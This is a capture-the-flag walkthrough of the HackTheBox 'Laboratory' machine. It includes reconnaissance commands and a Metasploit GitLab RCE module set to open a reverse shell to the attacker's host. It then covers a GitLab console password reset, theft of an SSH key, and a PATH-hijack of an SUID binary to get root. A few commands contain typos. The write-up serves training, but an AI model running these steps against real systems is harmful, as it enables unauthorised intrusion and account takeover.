Today we are going to crack a machine called the Laboratory. It was created by 0xc45. This is a Capture the Flag type of challenge. This machine is hosted on HackTheBox. Let’s get cracking!
Penetration Testing Methodology
· Network Scanning
o Nmap Scan
· Enumeration
o Enumerating HTTPS service
o Enumerating Subdomains
o Enumerating GitLab
o Enumerating GitLab Exploit
· Exploitation
o Exploiting GitLab RCE
o Getting shell as git user
o Change Password for dexter user
o Enumerating SSH key for dexter
o Login as dexter user
o Reading User Flag
· Privilege Escalation
o Enumerating SUID permissions
o Exploiting chmod in docker-security
o Getting root shell
o Reading the Root Flag
Walkthrough
Network Scanning
To Attack any machine, we need the IP Address. Machine hosted on HackTheBox have a static IP Address.
IP Address assigned: 10.129.148.89
Now that we have the IP Address. We need to enumerate open ports on the machine. For this, we will be running a nmap scan.
nmap -A 10.129.148.89
The Nmap scan quickly gave us some great information. It positively informed that the following ports and services are running: SSH (22), HTTP (80), HTTPS (443). Upon reading the nmap scan it was observed that the Common Name is laboratory.htb. We make the entry in the /etc/hosts file with the IP address.
Enumeration
Since we have added an entry in the /etc/hosts file with the IP Address, we can use the laboratory.htb in the Web browser to enumerate the HTTPS service. The website that is hosted is created to promote a company that is dedicated to Security and Development Services.
https://laboratory.htb
We got a clue from the nmap scan that there is possibility of subdomains from the details that were enumerated while checking the certificate information. To confirm the suspicion and to potentially enumerate for any other subdomains. We use gobuster for this task. We can see that we have successfully enumerated the git.laboratory.htb.
gobuster dir --url https://laboratory.htb/ --wordlist /usr/share/dirbuster/wordlists/directory-list-lowcase-2.3-small.txt -t 50
As we have found this new subdomain, we need to make an edit in our /etc/hosts file so that we are able to access it on our web browser.
nano /etc/hosts
10.129.148.89 laboratory.htb git.laboratory.htb
Upon opening the git.laboratory.htb we see that it is an installation of GitLab.
https://git.laboratory.htb/users/sign_in
Since, we didn’t have any credentials for the users, we tired to register for a new user. But we are given an error that the email domain is not the one that it would accept. So, in order to circumvent this error, we tried to change the email address to the domain of the application i.e., laboratory.htb.
After logging in with the newly created credentials, we see that we have the GitLab Community Edition installed on the target machine. The version is 12.8.1.
Exploitation
After, going through some exploration for the version of the GitLab, we found that this version is vulnerable to Remote Code Execution Attack. It is possible to use a direct exploit that can be found on exploitdb. However, we found that it is possible to use an exploit this vulnerability using Metasploit. It requires some set parameters such as the IP Address and port of the target machine, vhost which is the git.laboratory.htb. Then it requires the username and password that was created earlier. After running for a moment, the exploit provides with a shell on the target machine. We prompt the shell to the bash which tells us that the session that we have procured is for the user git.
use exploit/multi/http/gitlab_file_read_rce
set rhosts 10.129.148.89
set rport 443
set vhost git.laboratory.htb
set username ignite
set password 12345678
set ssl true
set lhost 10.10.14.108
exploit
bash -i
Since we are stuck in the shell, and we cannot run enumerations tests without knowing the password so we try to look for possible method that can be used to change the password for a shell that is invoked by the GitLab installation. By browsing and reading the documentations on the GitLab official site, we found this particular method.
How to reset user password | GitLab - GitLab Docs
After invoking an interactive shell, we get inside the GitLab console. Here, we require to enumerate for the user on the Linux machine that must have implemented the GitLab instance. We do this using the user=user.find(1) command. It reveals that the user we are looking for is dexter user. We use the user.password command to change the password and then save our changes.
bash -i
gitlab-rails console
user-User.find(1)
user.password = “87654321”
user.password_confirmation = “87654321”
user.save!
Now that we have the access for the user dexter user account, we get back to the GitLab instance on our Web Browser and login using the credentials for dexter. After a successful login, we start to enumerate the files that are accessible for the dexter user and find a SSH private key as shown in the image below.
Privilege Escalation
We copy the private key and create a key on the Kali Linux and named it key. We used this key to connect to the target machine via the SSH. You can read the User flag at this point. After logging in, one of the first enumeration task we did was check for the SUID permissions. It prints a huge list of binaries, among which we find the docker-security. It can be used to elevate our access to root.
ssh -i key dexter@10.129.148.89
find / -perm -u=s -type f 2>/dev/null
Since, it’s a binary that we are not that familiar with, the usual course of action is to reverse engineer it. Although you can use ltrace command to understand the working of the binary. It will tell you that it runs the command chmod to change the permissions for /usr/bin/docker. Since it doesn’t use the complete path of the chmod, we can exploit by creating a chmod with shell invocation in the same directory and run the binary. Rather than using the original chmod, it will use the chmod that we created and give us the root access on the machine. We now can read the root flag and conclude this machine.
echo “/bin/bash” > chmod
chmod 777 chmod
export PATH=/tmp:$PATH
/usr/local/bin/docker-security
cd /root
ls
cat root.txt
